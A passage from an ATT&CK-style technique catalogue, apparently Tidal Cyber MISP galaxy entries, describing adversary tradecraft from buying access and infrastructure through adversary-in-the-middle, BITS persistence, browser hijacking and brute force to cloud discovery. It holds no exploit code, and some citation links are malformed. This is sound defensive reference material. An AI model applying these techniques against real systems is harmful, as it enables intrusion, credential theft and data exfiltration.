Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://app.tidalcyber.com/technique/05a5318f-476d-44c1-8a85-9466295d31dd)) or established access via [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4). In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.^{[[Microsoft Ransomware as a Service](https://app.tidalcyber.com/references/833018b5-6ef6-5327-9af5-1a551df25cd2)]}

By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.^{[[Microsoft Ransomware as a Service](https://app.tidalcyber.com/references/833018b5-6ef6-5327-9af5-1a551df25cd2)]}^{[[CrowdStrike Access Brokers](https://app.tidalcyber.com/references/0f772693-e09d-5c82-85c2-77f5fee39ef0)]}

In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf), [Multi-Factor Authentication Interception](https://app.tidalcyber.com/technique/600d45ec-cb9c-47b8-ae94-326471ebb007), or even [Supply Chain Compromise](https://app.tidalcyber.com/technique/b72c8a96-5e03-40c2-ac0c-f77b73fe493f).

Note: while this technique is distinct from other behaviors such as [Purchase Technical Data](https://app.tidalcyber.com/technique/56ab198f-f8bb-4fe9-bd85-5975d4d3863b) and [Credentials](https://app.tidalcyber.com/technique/e5d9c785-61bd-483f-b2ac-5bd9a8641b22), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406)).

The tag is: *misp-galaxy:technique="Acquire Access"*

Acquire Infrastructure

Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.^{[[TrendmicroHideoutsLease](https://app.tidalcyber.com/references/527de869-3c76-447c-98c4-c37a2acf75e2)]} Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.^{[[Free Trial PurpleUrchin](https://app.tidalcyber.com/references/841f397d-d103-56d7-9854-7ce43c684879)]} Additionally, botnets are available for rent or purchase.

Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://app.tidalcyber.com/technique/ba6a869a-c870-4be6-bc08-e078f0efdc3b), including from residential proxy services.^{[[amnesty_nso_pegasus](https://app.tidalcyber.com/references/9e40d93a-fe91-504a-a6f2-e6546067ba53)]}^{[[FBI Proxies Credential Stuffing](https://app.tidalcyber.com/references/17f9b7b0-3e1a-5d75-9030-da79fcccdb49)]}^{[[Mandiant APT29 Microsoft 365 2022](https://app.tidalcyber.com/references/e141408e-d22b-58e4-884f-0cbff25444da)]} Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.

The tag is: *misp-galaxy:technique="Acquire Infrastructure"*

Active Scanning

Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features

of network protocols such as ICMP.^{[[Botnet Scan](https://app.tidalcyber.com/references/ca09941c-fcc8-460b-8b02-d1608a7d3813)]}^{[[OWASP Fingerprinting](https://app.tidalcyber.com/references/ec89a48b-3b00-4928-8450-d2fbd307817f)]} Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6) or [Search Open Technical Databases](https://app.tidalcyber.com/technique/cf79ad1b-a82b-486b-88ad-e93bfc1c7439)), establishing operational resources (ex: [Develop Capabilities](https://app.tidalcyber.com/technique/bf660248-2098-499b-b90c-8c47efb26c70) or [Obtain Capabilities](https://app.tidalcyber.com/technique/a6740db8-10d6-4e5b-986b-7695d3fc4b85)), and/or initial access (ex: [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4) or [Exploit Public-Facing Application](https://app.tidalcyber.com/technique/4695fd01-43a5-4aa9-ab1a-501fc0dfbd6a)).

The tag is: *misp-galaxy:technique="Active Scanning"*

Adversary-in-the-Middle

Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://app.tidalcyber.com/technique/bbad213d-477d-43bf-9501-ad7d74bac323), [Transmitted Data Manipulation](https://app.tidalcyber.com/technique/70365fab-8531-4a0e-b147-7cabdfdef243), or replay attacks ([Exploitation for Credential Access](https://app.tidalcyber.com/technique/afdfa503-0464-4b42-a79c-a6fc828492ef)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.^{[[Rapid7 MiTM Basics](https://app.tidalcyber.com/references/33b25966-0ab9-4cc6-9702-62263a23af9c)]}

For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.^{[[ttint_rat](https://app.tidalcyber.com/references/f3e60cae-3225-4800-bc15-cb46ff715061)]}^{[[dns_changer_trojans](https://app.tidalcyber.com/references/082a0fde-d9f9-45f2-915d-f14c77b62254)]}^{[[ad_blocker_with_miner](https://app.tidalcyber.com/references/8e30f71e-80b8-4662-bc95-bf3cf7cfcf40)]} Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://app.tidalcyber.com/technique/f78f2c87-626a-468f-93a5-31b61be17727)) and session cookies ([Steal Web Session Cookie]([volexity_0day_sophos_FW](https://app.tidalcyber.com/references/85bee18e-216d-4ea6-b34e-b071e3f63382)]</sup>^{[[Token tactics](https://app.tidalcyber.com/references/e254e336-2e3e-5bea-a9e9-0f42f333b894)]} [Downgrade Attack](https://app.tidalcyber.com/technique/257fffe4-d17b-4e63-a41c-8388936d6215)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.^{[[mitm_tls_downgrade_att](https://app.tidalcyber.com/references/af907fe1-1e37-4f44-8ad4-fcc3826ee6fb)]}^{[[taxonomy_downgrade_att_tls](https://app.tidalcyber.com/references/4459076e-7c79-4855-9091-5aabd274f586)]}^{[[tlseminar_downgrade_att](https://app.tidalcyber.com/references/8b5d46bf-fb4e-4ecd-b8a9-9c084c1864a3)]}

Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://app.tidalcyber.com/technique/70365fab-8531-4a0e-b147-7cabdfdef243). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://app.tidalcyber.com/technique/e3be3d76-0a36-4060-8003-3b39c557f728) and/or in support of a [Network Denial of Service](https://app.tidalcyber.com/technique/e6c14a7b-1fb8-4557-83e7-7f5b89717311).

The tag is: *misp-galaxy:technique="Adversary-in-the-Middle"*

Application Layer Protocol

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.^{[[Mandiant APT29 Eye Spy Email Nov 22](https://app.tidalcyber.com/references/452ca091-42b1-5bef-8a01-921c1f46bbee)]}

The tag is: *misp-galaxy:technique="Application Layer Protocol"*

Application Window Discovery

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.^{[[Prevailion DarkWatchman 2021](https://app.tidalcyber.com/references/449e7b5c-7c62-4a63-a676-80026a597fc9)]} For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://app.tidalcyber.com/technique/9e945aa5-3883-4537-a767-f49bdcce26c7)) to evade.^{[[ESET Grandoreiro April 2020](https://app.tidalcyber.com/references/d6270492-986b-4fb6-bdbc-2e364947847c)]}

Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c) commands and [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) functions.

The tag is: *misp-galaxy:technique="Application Window Discovery"*

Archive Collected Data

An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.^{[[DOJ GRU Indictment Jul 2018](https://app.tidalcyber.com/references/d65f371b-19d0-49de-b92b-94a2bea1d988)]} Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

The tag is: *misp-galaxy:technique="Archive Collected Data"*

Audio Capture

An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.^{[[ESET Attor Oct 2019](https://app.tidalcyber.com/references/fdd57c56-d989-4a6f-8cc5-5b3713605dec)]}

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

The tag is: *misp-galaxy:technique="Audio Capture"*

Automated Collection

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.

In cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.^{[[Mandiant UNC3944 SMS Phishing 2023](https://app.tidalcyber.com/references/3a310dbd-4b5c-5eaf-a4ce-699e52007c9b)]}

This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as [File and Directory Discovery](https://app.tidalcyber.com/technique/1492c4ba-c933-47b8-953d-6de3db8cfce8) and [Lateral Tool Transfer](https://app.tidalcyber.com/technique/3dea57fc-3131-408b-a1fd-ff2eea1d858f) to identify and move files, as well as [Cloud Service Dashboard](https://app.tidalcyber.com/technique/315ce434-ad6d-4dae-a1dd-6db944a44422) and [Cloud Storage Object Discovery](https://app.tidalcyber.com/technique/92761d92-a288-4407-a112-bb2720f07d07) to identify resources in cloud environments.

The tag is: *misp-galaxy:technique="Automated Collection"*

Automated Exfiltration

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.^{[[ESET Gamaredon June 2020](https://app.tidalcyber.com/references/6532664d-2311-4b38-8960-f43762471729)]}

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://app.tidalcyber.com/technique/89203cae-d3f1-4eef-9b5a-29042eb05d19) and [Exfiltration Over Alternative Protocol](https://app.tidalcyber.com/technique/192d25ea-bae1-48e4-88de-e0acd481ab88).

The tag is: *misp-galaxy:technique="Automated Exfiltration"*

BITS Jobs

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://app.tidalcyber.com/technique/8bc683db-1311-476f-8cae-45f3f89dcc66) (COM).^{[[Microsoft COM](https://app.tidalcyber.com/references/edcd917d-ca5b-4e5c-b3be-118e828abe97)]}^{[[Microsoft BITS](https://app.tidalcyber.com/references/3d925a69-35f3-4337-8e1e-275de4c1783e)]} BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) and the [BITSAdmin](https://app.tidalcyber.com/software/52a20d3d-1edd-4f17-87f0-b77c67d260b4) tool.^{[[Microsoft BITS](https://app.tidalcyber.com/references/3d925a69-35f3-4337-8e1e-275de4c1783e)]}^{[[Microsoft BITSAdmin](https://app.tidalcyber.com/references/5b8c2a8c-f01e-491a-aaf9-504ee7a1caed)]}

Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://app.tidalcyber.com/technique/4499ce34-9871-4879-883c-19ddb940f242)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://app.tidalcyber.com/technique/fa1507f1-c763-4af1-8bd9-a2fb8f7904be)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.^{[[CTU BITS Malware June 2016](https://app.tidalcyber.com/references/db98b15c-399d-4a4c-8fa6-5a4ff38c3853)]}^{[[Mondok Windows PiggyBack BITS May 2007](https://app.tidalcyber.com/references/7dd03a92-11b8-4b8a-9d34-082ecf09a6e4)]}^{[[Symantec BITS May 2007](https://app.tidalcyber.com/references/e5962c87-0d42-46c2-8757-91f264fc570f)]} BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).^{[[PaloAlto UBoatRAT Nov 2017](https://app.tidalcyber.com/references/235a1129-2f35-4861-90b8-1f761d89b0f9)]}^{[[CTU BITS Malware June 2016](https://app.tidalcyber.com/references/db98b15c-399d-4a4c-8fa6-5a4ff38c3853)]}

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol]([CTU BITS Malware June 2016(https://app.tidalcyber.com/references/db98b15c-399d-4a4c-8fa6-5a4ff38c3853)]</sup>

The tag is: *misp-galaxy:technique="BITS Jobs"*

Boot or Logon Autostart Execution

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.^{[[Microsoft Run Key](https://app.tidalcyber.com/references/0d633a50-4afd-4479-898e-1a785f5637da)]}^{[[MSDN Authentication Packages](https://app.tidalcyber.com/references/e9bb8434-9b6d-4301-bfe2-5c83ceabb020)]}^{[[Microsoft TimeProvider](https://app.tidalcyber.com/references/cf7c1db8-6282-4ccd-9609-5a012faf70d6)]}^{[[Cylance Reg Persistence Sept 2013](https://app.tidalcyber.com/references/9e9c745f-19fd-4218-b8dc-85df804ecb70)]}^{[[Linux Kernel Programming](https://app.tidalcyber.com/references/70f31f19-e0b3-40b1-b8dd-6667557bb334)]} These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

The tag is: *misp-galaxy:technique="Boot or Logon Autostart Execution"*

Boot or Logon Initialization Scripts

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.^{[[Mandiant APT29 Eye Spy Email Nov 22](https://app.tidalcyber.com/references/452ca091-42b1-5bef-8a01-921c1f46bbee)]}^{[[Anomali Rocke March 2019](https://app.tidalcyber.com/references/31051c8a-b523-4b8e-b834-2168c59e783b)]} Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

The tag is: *misp-galaxy:technique="Boot or Logon Initialization Scripts"*

Browser Information Discovery

Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests,

social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.^{[[Kaspersky Autofill](https://app.tidalcyber.com/references/561ff84d-17ce-511c-af0c-059310f3c129)]}

Browser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://app.tidalcyber.com/technique/838c5038-91e7-4648-925e-a142c8c10853) associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).^{[[Chrome Roaming Profiles](https://app.tidalcyber.com/references/cf0bb77d-c7f7-515b-9217-ba9120cdddec)]}

The tag is: *misp-galaxy:technique="Browser Information Discovery"*

Browser Session Hijacking

Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.^{[[Wikipedia Man in the Browser](https://app.tidalcyber.com/references/f8975da7-4c50-4b3b-8ecb-c99c9b3bc20c)]}

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.^{[[Cobalt Strike Browser Pivot](https://app.tidalcyber.com/references/0c1dd453-7281-4ee4-9c8f-bdc401cf48d7)]}^{[[ICEBRG Chrome Extensions](https://app.tidalcyber.com/references/459bfd4a-7a9b-4d65-b574-acb221428dad)]} Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.

Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://app.tidalcyber.com/technique/8ac6952d-5add-4cbc-ad39-44943ed3459b) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.^{[[cobaltstrike manual](https://app.tidalcyber.com/references/43277d05-0aa4-4cee-ac41-6f03a49851a9)]}

The tag is: *misp-galaxy:technique="Browser Session Hijacking"*

Brute Force

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.^{[[TrendMicro Pawn Storm Dec 2020](https://app.tidalcyber.com/references/3bc249cd-f29a-4a74-a179-a6860e43683f)]}

Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.^{[[Dragos Crashoverride 2018](https://app.tidalcyber.com/references/d14442d5-2557-4a92-9a29-b15a20752f56)]} Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d), [Account Discovery](https://app.tidalcyber.com/technique/6736995e-b9ea-401b-81fa-6caeb7a17ce3), or [Password Policy Discovery](https://app.tidalcyber.com/technique/2bf2e498-99c8-4e36-ad4b-e675d95ac925). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4) as part of Initial Access.

The tag is: *misp-galaxy:technique="Brute Force"*

Build Image on Host

Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.^{[[Docker Build Image](https://app.tidalcyber.com/references/ee708b64-57f3-4b47-af05-1e26b698c21f)]}

An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://app.tidalcyber.com/technique/2618638c-f6bd-4840-a297-c45076e094a9) using that custom image.^{[[Aqua Build Images on Hosts](https://app.tidalcyber.com/references/efd64f41-13cc-4b2b-864c-4d2352cdadcd)]}^{[[Aqua Security Cloud Native Threat Report June 2021](https://app.tidalcyber.com/references/be9652d5-7531-4143-9c44-aefd019b7a32)]} If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it's a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

The tag is: *misp-galaxy:technique="Build Image on Host"*

Clipboard Data

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

For example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.^{[[MSDN Clipboard](https://app.tidalcyber.com/references/2c1b2d58-a5dc-4aee-8bdb-129a81c10408)]}<sup>[[clip_win_server](https://app.tidalcyber.com/

references/8a961fa1-def0-5efe-8599-62e884d4ea22
)]</sup>^{[[CISA_AA21_200B](https://app.tidalcyber.com/references/633c6045-8990-58ae-85f0-00139aa9a091)]} Additionally, adversaries may monitor then replace users' clipboard with their data (e.g., [Transmitted Data Manipulation]([mining_ruby_reversinglabs (https://app.tidalcyber.com/references/ca2074d8-330b-544e-806f-ddee7b702631)]</sup>

macOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.^{[[Operating with EmPyre](https://app.tidalcyber.com/references/459a4ad5-0e28-4bfc-a73e-b9dd516d516f)]}

The tag is: *misp-galaxy:technique="Clipboard Data"*

Cloud Administration Command

Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. ^{[[AWS Systems Manager Run Command](https://app.tidalcyber.com/references/ef66f17b-6a5b-5eb8-83de-943e2bddd114)]}^{[[Microsoft Run Command](https://app.tidalcyber.com/references/4f2e6adb-6e3d-5f1f-b873-4b99797f2bfa)]}

If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment's virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf) to execute commands in connected virtual machines.^{[[MSTIC Nobelium Oct 2021](https://app.tidalcyber.com/references/7b6cc308-9871-47e5-9039-a9a7e66ce373)]}

The tag is: *misp-galaxy:technique="Cloud Administration Command"*

Cloud Application Integration

Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.^{[[Push Security SaaS Persistence 2022](https://app.tidalcyber.com/references/19d76d00-800e-540c-97a8-1ed20cec99af)]}^{[[SaaS Attacks GitHub Evil Twin Integrations](https://app.tidalcyber.com/references/7c8149ce-e546-594d-bad7-7c7ff463a472)]}

OAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.

Leveraging application integrations may allow adversaries to persist in an environment – for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account.<sup>[[Wiz Midnight Blizzard 2024](https://app.tidalcyber.com/references/c62378f0-ee99-

5eac-b2be-91f630e95dfb)]</sup>^{[[Microsoft Malicious OAuth Applications 2022](https://app.tidalcyber.com/references/e58eb8c1-4723-57bf-8602-b64e0e1d1e76)]}^{[[Huntress Persistence Microsoft 365 Compromise 2024](https://app.tidalcyber.com/references/1492dc30-136a-54f9-a811-a6b57f302f34)]} In some cases, integrations may remain valid even after the original consenting user account is disabled.^{[[Push Security Slack Persistence 2023](https://app.tidalcyber.com/references/135c23b4-7795-5855-9910-98c8d6de2627)]} Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of [Application Access Token](https://app.tidalcyber.com/technique/8592f37d-850a-43d1-86f2-cc981ad7d7dc)s. Finally, they may enable persistent [Automated Exfiltration](https://app.tidalcyber.com/technique/26abc19f-5968-45f1-aa1f-f35863a2f804) over time.^{[[Synes Cyber Corner Malicious Azure Application 2023](https://app.tidalcyber.com/references/042589d3-8de8-55a1-adc4-1612d736b975)]}

Creating or adding a new application may require the adversary to create a dedicated [Cloud Account](https://app.tidalcyber.com/technique/d6504a4d-f6d7-4517-b0fd-ec7128d4dec9) for the application and assign it [Additional Cloud Roles](https://app.tidalcyber.com/technique/71867386-ddc2-4cdb-a0c9-7c27172c23c1) – for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.^{[[Microsoft Entra ID Service Principals](https://app.tidalcyber.com/references/2a20c574-3e69-5da6-887e-68e34cee7562)]}

The tag is: *misp-galaxy:technique="Cloud Application Integration"*

Cloud Infrastructure Discovery

An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket's existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.^{[[Amazon Describe Instance](https://app.tidalcyber.com/references/c0b6a8a4-0d94-414d-b5ab-cf5485240dee)]}^{[[Amazon Describe Instances API](https://app.tidalcyber.com/references/95629746-43d2-4f41-87da-4bd44a43ef4a)]}^{[[AWS Get Public Access Block](https://app.tidalcyber.com/references/f2887980-569a-4bc2-949e-bd8ff266c43c)]}^{[[AWS Head Bucket](https://app.tidalcyber.com/references/1388a78e-9f86-4927-a619-e0fcbac5b7a1)]} Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project ^{[[Google Compute Instances](https://app.tidalcyber.com/references/ae09e791-a00c-487b-b0e5-7768df0679a3)]}, and Azure's CLI command <code>az vm list</code> lists details of virtual machines.^{[[Microsoft AZ CLI](https://app.tidalcyber.com/references/cfd94553-272b-466b-becb-3859942bcaa5)]} In addition to API commands, adversaries can utilize open source tools to

discover cloud storage infrastructure through [Wordlist Scanning]([Malwarebytes OSINT Leaky Buckets - Hioureas(https://app.tidalcyber.com/references/67ebcf71-828e-4202-b842-f071140883f8)]</sup>

An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.^{[[Expel IO Evil in AWS](https://app.tidalcyber.com/references/4c2424d6-670b-4db0-a752-868b4c954e29)]} The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.^{[[Mandiant M-Trends 2020](https://app.tidalcyber.com/references/83bc9b28-f8b3-4522-b9f1-f43bce3ae917)]}An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. ^{[[AWS Describe DB Instances](https://app.tidalcyber.com/references/85bda17d-7b7c-4d0e-a0d2-2adb5f0a6b82)]} Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://app.tidalcyber.com/technique/5d0a3722-52b6-4968-a367-7ca6bc9a33fc), this technique focuses on the discovery of components of the provided services rather than the services themselves.

The tag is: *misp-galaxy:technique="Cloud Infrastructure Discovery"*

Cloud Service Dashboard

An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.^{[[Google Command Center Dashboard](https://app.tidalcyber.com/references/a470fe2a-40ce-4060-8dfc-2cdb56bbc18b)]}

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.

The tag is: *misp-galaxy:technique="Cloud Service Dashboard"*

Cloud Service Discovery

An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.

Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager

API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.^{[[Azure - Resource Manager API](https://app.tidalcyber.com/references/223cc020-e88a-4236-9c34-64fe606a1729)]}^{[[Azure AD Graph API](https://app.tidalcyber.com/references/fed0fef5-e366-4e24-9554-0599744cd1c6)]}

For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.^{[[Azure - Stormspotter](https://app.tidalcyber.com/references/42383ed1-9705-4313-8068-28a22a23f50e)]}^{[[GitHub Pacu](https://app.tidalcyber.com/references/bda43b1b-ea8d-4371-9984-6d8a7cc24965)]}

Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://app.tidalcyber.com/technique/9f290216-b2ab-47b5-b9ae-a94ae6d357c6) or [Disable or Modify Cloud Logs](https://app.tidalcyber.com/technique/6824cdb3-a4c5-45a8-a3d5-5a5afd347214).

The tag is: *misp-galaxy:technique="Cloud Service Discovery"*

Cloud Storage Object Discovery

